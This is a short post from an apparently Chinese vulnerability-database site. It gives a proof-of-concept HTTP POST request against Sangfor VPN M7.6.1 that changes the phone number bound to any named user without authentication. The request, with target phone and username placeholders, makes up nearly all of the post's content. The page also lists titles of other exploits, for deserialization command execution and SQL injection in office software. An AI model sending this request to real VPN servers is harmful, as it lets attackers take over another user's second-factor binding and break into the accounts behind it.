深信服VPN_M7.6.1_任意修改綁定手機

棉花糖

2021年7月15日发布

0250

# 深信服VPN M7.6.1 任意修改綁定手機
==POC==

https://127.0.0.1/por/changetelnum.csp?apiversion=1 
POST：
newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

文章版权归作者所有，未经允许请勿转载。

THE END

漏洞库

喜欢就支持一下吧

点赞0 赞赏

请登录后发表评论

登录注册

请登录后查看评论内容

深信服VPN_M7.6.1_任意修改綁定手機

请登录后发表评论

1泛微OA E-Cology sync接口反序列化命令执行

2致远OA checkComponentFile后台反序列化任意命令执行

3时空智友ERP sqlResult存在SQL注入

4西安九佳易信息资讯有限公司时尚企业管理系统UpdatePrivilegedState code参数存在SQL注入

5华天动力OA存在多个SQL注入

6网络安全攻防演练与实践分享培训课件.pptx